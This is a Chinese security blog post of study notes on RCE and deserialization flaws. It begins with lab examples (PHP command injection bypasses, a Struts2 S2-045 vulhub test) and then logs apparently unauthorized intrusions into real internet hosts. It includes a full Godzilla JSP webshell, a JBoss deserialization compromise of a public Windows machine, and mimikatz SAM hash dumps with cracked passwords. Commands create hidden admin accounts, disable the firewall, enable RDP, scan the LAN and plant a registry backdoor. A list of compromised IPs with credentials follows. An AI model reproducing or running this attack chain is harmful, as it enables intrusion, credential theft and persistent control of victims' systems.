14.远程命令代码执行漏洞和反序列化漏洞

远程命令执行漏洞

remote commmand excute  简称 RCE
批量远程执行命令漏洞(RCE)是一种高危安全漏洞,允许攻击者通过未充分验证的用户输入,在目标系统上执行任意命令或代码。这种漏洞通常出现在开发者未对输入进行严格过滤或使用了危险函数的情况下。

漏洞代码 没有过滤 $result = shell_exec("ping " . $ip);

php主要造成命令执行的函数

函数 类型 危险等级
eval PHP代码执行 极高
system 系统命令执行 极高
exec 系统命令执行 极高
shell_exec 系统命令执行 极高
passthru 系统命令执行 极高
assert PHP代码执行 高
popen 进程控制 高
proc_open 进程控制 极高

远程代码执行漏洞

eval()
assert()
preg_replace('/e/')
create_function()

phpinfo();

RCE漏洞防御


if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $target = $_REQUEST[ 'ip' ];

    // Set blacklist
    $substitutions = array(
        '&&' => '',
        ';'  => '',
    );
    
 过滤替换
绕过
127.0.0.0|net user
127.0.0.0||net user
127.0.0.0&net user
127.0.0.0&&net user

struct2命令执行漏洞复现

框架

浏览器
   ↓
Nginx / Apache
   ↓
PHP / Java / Python
   ↓
Web Framework(Laravel、SpringBoot)
   ↓
业务代码
   ↓
MySQL

框架运行在:
PHP
Java
Python
Node.js

中间件

浏览器
   ↓
Nginx / Apache
   ↓
Tomcat / PHP-FPM
   ↓
Web框架
   ↓
数据库


Nginx
Apache
Tomcat
都属于:服务器中间件

oday nday

对比 0day Nday
是否公开 未公开 已公开
是否有补丁 无 有
危险性 极高 高
获取难度 很高 低
成本 很贵 很低
常见使用者 APT/国家级 普通黑客

struct2-045漏洞复现

*** verge 开启虚拟网卡模式 解决虚拟机从github下载慢的问题

环境:可以通过vulhub通过docker部署
git clone --depth 1 https://github.com/vulhub/vulhub
cd /root/vulhub/struts2/s2-045
docker compose up -d
192.168.152.128:8080

GET / HTTP/1.1
Host: 192.168.152.128:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.8,es;q=0.6
Connection: close
Content-Length: 2
Content-Type: %{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('vulhub',233*233)}.multipart/form-data

本质上是一个 Apache Struts2 OGNL 表达式注入 测试字符串,常用于验证某些历史 Struts2 漏洞(尤其和 multipart/form-data 解析相关的漏洞)。
它的作用是:
HttpServletResponse.addHeader("vulhub","54289")
因为:
233 * 233 = 54289
如果服务器响应头里出现:
vulhub: 54289
通常说明:
OGNL 表达式被执行了
存在 Struts2 OGNL 注入风险
某些旧版 Struts2 漏洞可能可利用

HTTP/1.1 200 OK
Date: Fri, 08 May 2026 14:09:54 GMT
vulhub: 54289
Content-Type: text/html; charset=UTF-8
Set-Cookie: JSESSIONID=2z8mpdfm0r0uhf6ncvtqbwv;Path=/
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Connection: close
Server: Jetty(9.2.11.v20150529)

struts2-046漏洞利用

1.利用fofa网络搜索引擎找到具备s2-046特征的网站

server="Apache-Coyote" && body="upload.action"

2.检测是否有漏洞

3.利用漏洞 哥斯拉生成木马上传 连接 执行命令

<%! String xc="3c6e0b8a9c15224a"; String pass="pass"; String md5=md5(pass+xc); class X extends ClassLoader{public X(ClassLoader z){super(z);}public Class Q(byte[] cb){return super.defineClass(cb, 0, cb.length);} }public byte[] x(byte[] s,boolean m){ try{javax.crypto.Cipher c=javax.crypto.Cipher.getInstance("AES");c.init(m?1:2,new javax.crypto.spec.SecretKeySpec(xc.getBytes(),"AES"));return c.doFinal(s); }catch (Exception e){return null; }} public static String md5(String s) {String ret = null;try {java.security.MessageDigest m;m = java.security.MessageDigest.getInstance("MD5");m.update(s.getBytes(), 0, s.length());ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();} catch (Exception e) {}return ret; } public static String base64Encode(byte[] bs) throws Exception {Class base64;String value = null;try {base64=Class.forName("java.util.Base64");Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null);value = (String)Encoder.getClass().getMethod("encodeToString", new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs });} catch (Exception e) {try { base64=Class.forName("sun.misc.BASE64Encoder"); Object Encoder = base64.newInstance(); value = (String)Encoder.getClass().getMethod("encode", new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs });} catch (Exception e2) {}}return value; } public static byte[] base64Decode(String bs) throws Exception {Class base64;byte[] value = null;try {base64=Class.forName("java.util.Base64");Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);value = (byte[])decoder.getClass().getMethod("decode", new Class[] { String.class }).invoke(decoder, new Object[] { bs });} catch (Exception e) {try { base64=Class.forName("sun.misc.BASE64Decoder"); Object decoder = base64.newInstance(); value = (byte[])decoder.getClass().getMethod("decodeBuffer", new Class[] { String.class }).invoke(decoder, new Object[] { bs });} catch (Exception e2) {}}return value; }%><%try{byte[] data=base64Decode(request.getParameter(pass));data=x(data, false);if (session.getAttribute("payload")==null){session.setAttribute("payload",new X(this.getClass().getClassLoader()).Q(data));}else{request.setAttribute("parameters",data);java.io.ByteArrayOutputStream arrOut=new java.io.ByteArrayOutputStream();Object f=((Class)session.getAttribute("payload")).newInstance();f.equals(arrOut);f.equals(pageContext);response.getWriter().write(md5.substring(0,16));f.toString();response.getWriter().write(base64Encode(x(arrOut.toByteArray(), true)));response.getWriter().write(md5.substring(16));} }catch (Exception e){}
%>

这里其实是一个docker容器 无法逃逸

poc exp

POC(Proof of Concept)概念验证
作用:证明 “漏洞存在”,不搞破坏
只做检测:测试目标有没有漏洞
不拿权限、不上马、不删文件、不窃取数据

EXP(Exploit)漏洞利用 / 攻击代码
作用:直接利用漏洞拿权限、控制服务器
执行系统命令:whoami、id、ifconfig
写入一句话木马、反弹 Shell、 getshell
拿到服务器控制权
未授权使用属于违法,仅限授权测试

反序列化

恶意对象
↓
序列化
↓
发送给服务器
↓
服务器反序列化
↓
触发利用链
↓
执行命令
class Test {
    function __destruct() {
        system($this->cmd);
    }
}

攻击者构造:

O:4:"Test":1:{s:3:"cmd";s:2:"id";}

反序列化后:

system("id");

执行命令。
O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}
是的,很多反序列化漏洞利用时,确实需要知道目标服务器上存在什么类(Class)、依赖库(Jar 包)以及版本,因为:

payload 本质上是在“调用服务器本地已有的类”。

公有变量 私有变量

公有变量
<?php

class User {

    public $name;

}

$user = new User();

$user->name = "Tom";

echo $user->name;
输出:

Tom


私有变量
<?php

class User {

    private $password;

}

$user = new User();

$user->password = "123456";

会报错:

Fatal error:
Cannot access private property

php魔法函数

魔术方法 触发时机
__construct() 创建对象时
__destruct() 对象销毁时
__toString() 对象当字符串时
__get() 读取不存在/不可访问属性
__set() 写入不存在/不可访问属性
__isset() isset() 时
__unset() unset() 时
__call() 调用不存在方法
__callStatic() 调用不存在静态方法
__invoke() 对象当函数调用
__sleep() serialize() 前
__wakeup() unserialize() 后
__serialize() 新版序列化
__unserialize() 新版反序列化
__clone() clone 对象时
__debugInfo() var_dump() 时
__set_state() var_export() 时
__autoload() 自动加载类(旧)

反序列化 RCE

<?php

class Test {

    public $cmd;

    // 析构函数
    public function __destruct() {

        // 模拟危险操作
system($this->cmd);

    }
}

// 用户可控数据
$data = $_GET['data'];

// 危险点:直接反序列化
unserialize($data);

?>
http://192.168.152.129:98/rce.php?data=O:4:%22Test%22:1:{s:3:%22cmd%22;s:6:%22whoami%22;}

利用pop找反序列化漏洞

POP链
全称:Property Oriented Programming中文:面向属性编程(不用管名词,记下面这句)
POP 链 = 代码里已经存在的、能被反序列化触发的一组合法代码,被攻击者串起来执行恶意操作。
你可以理解成:
程序里本来就有的代码 → 我把它们串起来 → 变成命令执行
就像:你家有打火机、报纸、汽油我不创造新东西,我只是把它们按顺序用起来 → 放火

反序列化不能直接执行代码,只能触发对象里已有的方法。
所以攻击者必须:
在代码里找能被触发的方法
找到能调用其他类的方法
找到能执行命令的方法
把它们串成一条链

JBOSS 4.X反序列化漏洞利用拿下物理主机

1.利用ai辅助 fofa查找有jboss特征的网站 工具测试漏洞 看基本信息 系统

fofa -->:body="jbossmq-httpil" || body="JMXInvokerServlet" || body="jmx-console"

ip:http://193.227.50.136:8080/

cmd /c systeminfo

Host Name:                 DESKTOP-KHV0FJF
OS Name:                   Microsoft Windows 10 Pro
OS Version:                10.0.19045 N/A Build 19045
OS Manufacturer:           Microsoft Corporation
OS Configuration:          Standalone Workstation
OS Build Type:             Multiprocessor Free
Registered Owner:          ZAK
Registered Organization:   
Product ID:                00330-80000-00000-AA335
Original Install Date:     9/18/2025, 6:42:00 AM
System Boot Time:          5z/8/2026, 5:26:29 PM
System Manufacturer:       Dell Inc.
System Model:              OptiPlex 7010
System Type:               x64-based PC
Processor(s):              1 Processor(s) Installed.
                           [01]: Intel64 Family 6 Model 58 Stepping 9 GenuineIntel ~3201 Mhz
BIOS Version:              Dell Inc. A29, 6/28/2018
Windows Directory:         C:\WINDOWS
System Directory:          C:\WINDOWS\system32
Boot Device:               \Device\HarddiskVolume1
System Locale:             en-us;English (United States)
Input Locale:              en-us;English (United States)
Time Zone:                 (UTC+03:00) Nairobi
Total Physical Memory:     4,014 MB
Available Physical Memory: 1,050 MB
Virtual Memory: Max Size:  9,231 MB
Virtual Memory: Available: 1,824 MB
Virtual Memory: In Use:    7,407 MB
Page File Location(s):     C:\pagefile.sys
Domain:                    WORKGROUP
Logon Server:              N/A
Hotfix(s):                 11 Hotfix(s) Installed.
                           [01]: KB5066130
      z                     [02]: KB5064399
                           [03]: KB5011048
                           [04]: KB5015684
                           [05]: KB5072653
                           [06]: KB5071959
                           [07]: KB5063706
                           [08]: KB5063979
                           [09]: KB5066790
                           [10]: KB5071982
                           [11]: KB5075039
Network Card(s):           1 NIC(s) Installed.
                           [01]: Intel(R) 82579LM Gigabit Network Connection
                                 Connection Name: Ethernet
                                 DHCP Enabled:    No
                                 IP address(es)
                                 [01]: 192.168.1.141
                                 [02]: fe80::549b:b4db:6ead:afd7
Hyper-V Requirements:      VM Monitor Mode Extensions: Yes
                           Virtualization Enabled In Firmware: Yes
                           Second Level Address Translation: Yes
       z                    Data Execution Prevention Available: Yes

物理主机 不是虚拟机 docker

2.找网站根目录 传木马连接

D:\Infinity\bin\jboss\server\default\deploy\jboss-web.deployer\ROOT.war

哥斯拉 蚁剑木马 连不上

3.连接不上 执行命令 建账户 开3389

工具执行
新建用户 设置密码
cmd /c net user hello 123123123123 /add
加入管理员组
cmd /c net localgroup administrators hello /add
开启远程桌面(3389)
cmd /c reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
放行防火墙 3389
cmd /c netsh advfirewall set allprofiles state off
激活管理员用户
net user Administrator /active:yes
设密码
net user Administrator NewPass@123

4.破解原账号密码 mimikatz

破解原账户密码

https://github.com/gentilkiwi/mimikatz/releases

开启mimikatz。以管理员权限打开cmd,进入mimikatz相应操作系统的目录下,输入命令:
mimikatz.exe

privilege::debug
如果出现以下报错:ERROR kuhl_m_privilege_simple ; RtlAdjustPrivilege (20) c0000061 说明你不是管理员权限)

token::elevate  提权

获取到NTLM的hash,输入命令:
lsadump::sam

进行NTLM解密,可以使用https://www.cmd5.com 类型NTLM
User : ZAK
 Hash NTLM: 32ed87bdb5fdc5e9cba88547376818d4
弱密码 123456

mimikatz # lsadump::sam
Domain : DESKTOP-KHV0FJF
SysKey : 53d370deef43b3e4d3399fad74c01098
Local SID : S-1-5-21-428449519-1413205778-77923684

SAMKey : db9bfec8df823b56b6f873249cc7048e

RID  : 000001f4 (500)
User : Administrator
  Hash NTLM: 342532a1eaa6b175003e16c665d65dc0

Supplemental Credentials:
* Primary:NTLM-Strong-NTOWF *
    Random Value : 2932bca3fe49cae8ba9e90294f7152e8

* Primary:Kerberos-Newer-Keys *
    Default Salt : DESKTOP-KHV0FJFAdministrator
    Default Iterations : 4096
    Credentials
      aes256_hmac       (4096) : de70c93e1d40139e98b2d9a23b09c8ab3d17772ba6dcbc665d46f403fbc324fa
      aes128_hmac       (4096) : 3e8ce5ee7568321f3b0cd687090bba1c
      des_cbc_md5       (4096) : 919461e0d3ad7ff4
    OldCredentials
      aes256_hmac       (4096) : d28cfe3917f5cf5bfecf0258a142558d54416ede27cd2e560ce469728b303eb1
      aes128_hmac       (4096) : 6c1716732264687c83ecb4d5134c12d6
      des_cbc_md5       (4096) : 4f570b4ca4576bc4
    OlderCredentials
      aes256_hmac       (4096) : a4a02671006b19cda3f33d57387f6424bafe87c18387093286f76452b1bcdbd6
      aes128_hmac       (4096) : dbb19d4abd813e9997a68b0db07c91ef
      des_cbc_md5       (4096) : c1e519efe9432076

* Packages *
    NTLM-Strong-NTOWF

* Primary:Kerberos *
    Default Salt : DESKTOP-KHV0FJFAdministrator
    Credentials
      des_cbc_md5       : 919461e0d3ad7ff4
    OldCredentials
      des_cbc_md5       : 4f570b4ca4576bc4


RID  : 000001f5 (501)
User : Guest

RID  : 000001f7 (503)
User : DefaultAccount

RID  : 000001f8 (504)
User : WDAGUtilityAccount
  Hash NTLM: d3d80d1ed47726dfa8cd4c8bb4b3326f

Supplemental Credentials:
* Primary:NTLM-Strong-NTOWF *
    Random Value : c5a4c5b857129110370c48f9ca1514e3

* Primary:Kerberos-Newer-Keys *
    Default Salt : WDAGUtilityAccount
    Default Iterations : 4096
    Credentials
      aes256_hmac       (4096) : ef3e0f6ab15148d35853fb1fded65814823f3076baeb913d977ac43b7815143f
      aes128_hmac       (4096) : 501d89213e662fb622b8d7ce9f2cb284
      des_cbc_md5       (4096) : c2e0d513c226dc2a

* Packages *
    NTLM-Strong-NTOWF

* Primary:Kerberos *
    Default Salt : WDAGUtilityAccount
    Credentials
      des_cbc_md5       : c2e0d513c226dc2a


RID  : 000003e9 (1001)
User : ZAK
  Hash NTLM: 32ed87bdb5fdc5e9cba88547376818d4

Supplemental Credentials:
* Primary:NTLM-Strong-NTOWF *
    Random Value : d3026563c4f6023617abebd54e86ca95

* Primary:Kerberos-Newer-Keys *
    Default Salt : DESKTOP-KHV0FJFZAK
    Default Iterations : 4096
    Credentials
      aes256_hmac       (4096) : 3ddb1ef9fd0612b6019d45bc13e98d47a9830e605c9eee46ce2d15109e98c7a1
      aes128_hmac       (4096) : 3512d1add8c88ec2d34d33602dc67252
      des_cbc_md5       (4096) : 9786922cadd6c70b
    OldCredentials
      aes256_hmac       (4096) : 3ddb1ef9fd0612b6019d45bc13e98d47a9830e605c9eee46ce2d15109e98c7a1
      aes128_hmac       (4096) : 3512d1add8c88ec2d34d33602dc67252
      des_cbc_md5       (4096) : 9786922cadd6c70b

* Packages *
    NTLM-Strong-NTOWF

* Primary:Kerberos *
    Default Salt : DESKTOP-KHV0FJFZAK
    Credentials
      des_cbc_md5       : 9786922cadd6c70b
    OldCredentials
      des_cbc_md5       : 9786922cadd6c70b


RID  : 000003eb (1003)
User : hello
  Hash NTLM: 8932d9a85f4441de4e69ea8167d3643f

Supplemental Credentials:
* Primary:NTLM-Strong-NTOWF *
    Random Value : 8c6a4f174bc91cef8c43e272ea6cc222

* Primary:Kerberos-Newer-Keys *
    Default Salt : DESKTOP-KHV0FJFhello
    Default Iterations : 4096
    Credentials
      aes256_hmac       (4096) : 9fac80f56f21e59e858e2a67251f497edb08cb9c1fa8180bd03f9f05f738f312
      aes128_hmac       (4096) : 7545126fc7d200d30dc615b2df35dbf9
      des_cbc_md5       (4096) : 383bf8b525d33e70
    OldCredentials
      aes256_hmac       (4096) : c8f2a92e00cb5b44d59e9470579b37786fe755de0378a7b3e985d4dea8612011
      aes128_hmac       (4096) : 9d3cd998d0a90e2d5eac29a3b5eed8a6
      des_cbc_md5       (4096) : cb205b927397a88f

* Packages *
    NTLM-Strong-NTOWF

* Primary:Kerberos *
    Default Salt : DESKTOP-KHV0FJFhello
    Credentials
      des_cbc_md5       : 383bf8b525d33e70
    OldCredentials
      des_cbc_md5       : cb205b927397a88f


RID  : 000003ec (1004)
User : hackuser
  Hash NTLM: 726353167078226fc17e3d38602387fd

Supplemental Credentials:
* Primary:NTLM-Strong-NTOWF *
    Random Value : e98098c93ddff1d941e5bfb6aa9fc7a0

* Primary:Kerberos-Newer-Keys *
    Default Salt : DESKTOP-KHV0FJFhackuser
    Default Iterations : 4096
    Credentials
      aes256_hmac       (4096) : ff662befd48e13582b1bfde89425144a2653d36731faca9315ad8e49d20b829c
      aes128_hmac       (4096) : 5da83f5943b211cd79033ff7476456d5
      des_cbc_md5       (4096) : 0ee9078634e502b5

* Packages *
    NTLM-Strong-NTOWF

* Primary:Kerberos *
    Default Salt : DESKTOP-KHV0FJFhackuser
    Credentials
      des_cbc_md5       : 0ee9078634e502b5

5.内网 看是不是域 尝试原账号登录其他机器

方法 1:最准命令(直接看是否加入域)
cmd
systeminfo | findstr /i "Domain"
如果显示 Domain: 不是域 / WORKGROUP → 普通工作组,不是域环境
如果显示 Domain: xxx.com → 域环境
方法 2:看当前登录域
cmd
set userdomain
USERDOMAIN=Administrator机器名 → 本机账户,不是域
USERDOMAIN=域名 → 域环境
方法 3:看有没有域控制器 DNS
cmd
ipconfig /all | findstr /i "DNS"
DNS 如果是域控 IP、内网 DNS,大概率是域环境。
方法 4:查看本机有没有域用户 / 域组
cmd
net user
出现带域名的账号、Domain Users 就是域。

arp -a


Interface: 192.168.1.141 --- 0xe
  Internet Address      Physical Address      Type
  192.168.1.12          d4-be-d9-93-34-bf     dynamic
  192.168.1.56          48-4d-7e-bd-13-f8     dynamic
  192.168.1.64          94-40-c9-4a-be-fc     dynamic
  192.168.1.66          00-15-5d-00-40-00     dynamic
  192.168.1.120         90-b1-1c-8d-69-1a     dynamic
  192.168.1.151         78-8c-b5-86-48-99     dynamic
  192.168.1.152         e0-ba-ad-1a-55-33     dynamic
  192.168.1.153         dc-07-f8-52-61-c0     dynamic
  192.168.1.154         ac-b9-2f-3f-33-fc     dynamic
  192.168.1.158         bc-30-5b-ca-42-3e     dynamic
  192.168.1.160         94-40-c9-4a-be-fd     dynamic
  192.168.1.166         26-22-fc-23-70-7f     dynamic
  192.168.1.167         a6-39-be-ea-5c-0f     dynamic
  192.168.1.170         00-15-5d-00-40-01     dynamic
  192.168.1.175         94-40-c9-4a-be-ff     dynamic
  192.168.1.178         34-17-eb-b2-d0-95     dynamic
  192.168.1.185         5c-f9-dd-77-64-d1     dynamic
  192.168.1.192         ba-9a-88-96-c1-49     dynamic
  192.168.1.220         5a-38-63-29-11-33     dynamic
  192.168.1.222         50-3d-e5-77-ae-60     dynamic
  192.168.1.254         5e-a1-e1-59-fe-f5     dynamic
  192.168.1.255         ff-ff-ff-ff-ff-ff     static
  224.0.0.22            01-00-5e-00-00-16     static
  224.0.0.251           01-00-5e-00-00-fb     static
  224.0.0.252           01-00-5e-00-00-fc     static
  239.255.102.18        01-00-5e-7f-66-12     static
  239.255.255.250       01-00-5e-7f-ff-fa     static
powershell


PS C:\Users\Administrator> $ips = @(
>> "192.168.1.12",
>> "192.168.1.56",
>> "192.168.1.64",
>> "192.168.1.66",
>> "192.168.1.120",
>> "192.168.1.151",
>> "192.168.1.152",
>> "192.168.1.153",
>> "192.168.1.154",
>> "192.168.1.158",
>> "192.168.1.160",
>> "192.168.1.166",
>> "192.168.1.167",
>> "192.168.1.170",
>> "192.168.1.175",
>> "192.168.1.178",
>> "192.168.1.185",
>> "192.168.1.192",
>> "192.168.1.220",
>> "192.168.1.222",
>> "192.168.1.254"
>> )
>>
>> foreach($ip in $ips){
>>     try{
>>         $tcp = New-Object Net.Sockets.TcpClient
>>         $iar = $tcp.BeginConnect($ip,3389,$null,$null)
>>
>>         if($iar.AsyncWaitHandle.WaitOne(800,$false)){
>>             $tcp.EndConnect($iar)
>>             Write-Host "[OPEN] ${ip}:3389"
>>         }
>>
>>         $tcp.Close()
>>     }catch{}
>> }
[OPEN] 192.168.1.12:3389
[OPEN] 192.168.1.64:3389
[OPEN] 192.168.1.66:3389
[OPEN] 192.168.1.160:3389
[OPEN] 192.168.1.170:3389

6.维持

 注册表开机自启后门
把任意后门程序放到 C:\Windows\Temp,加入开机启动:
cmd
reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v SystemUpdate /t REG_SZ /d "C:\Windows\Temp\[your-program-name.exe]" /f
3. 开启 3389 永久放行,以后随时连
cmd
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f

netsh advfirewall firewall add rule name="RDP" dir=in action=allow protocol=TCP localport=3389 remoteip=any profile=any enable=yes

新建隐藏管理员账号(最经典)
建普通管理员
cmd
net user admin$ 123123123123/add
net localgroup administrators admin$ /add

7.思路

思路:
1.利用jboss反序列化漏洞
2.通过fofa找到具有特征的网站
3.利用poc确认基本信息 系统 权限  写木马 执行命令 确认是物理机 docker 虚拟机
4.发现权限特殊 windows 新建用户 开3389 连接
5.mimikatz破解原账户密码
6.确认是不是域 内网扫描 试着其他ip 3389是否同账号密码
7.后续维持 开启 3389 永久放行

已经拿下机器

184.174.36.65
admin$
123123123123

http://27.56.146.149:7001/console/login/LoginForm.jsp

weblogic反序列化漏洞

反序列化漏洞的防御手段

版本补丁:及时升级中间件、JDK 和 Commons Collections 等依赖包。
关停危险组件:WebLogic 限制 / 禁用T3 协议;JBoss 删除http-invoker、限制 JMX 接口。
访问管控:防火墙端口隔离、后台及敏感接口IP 白名单、关闭外网直接访问。
代码规范:禁止接收外网不可信序列化数据,改用 JSON 等安全格式;配置反序列化类白名单。
安全防护:部署RASP拦截恶意反序列化;开启日志审计、异常行为告警。
posted @ 2026-05-11 20:52  hello422000  阅读(55)  评论(0)    收藏  举报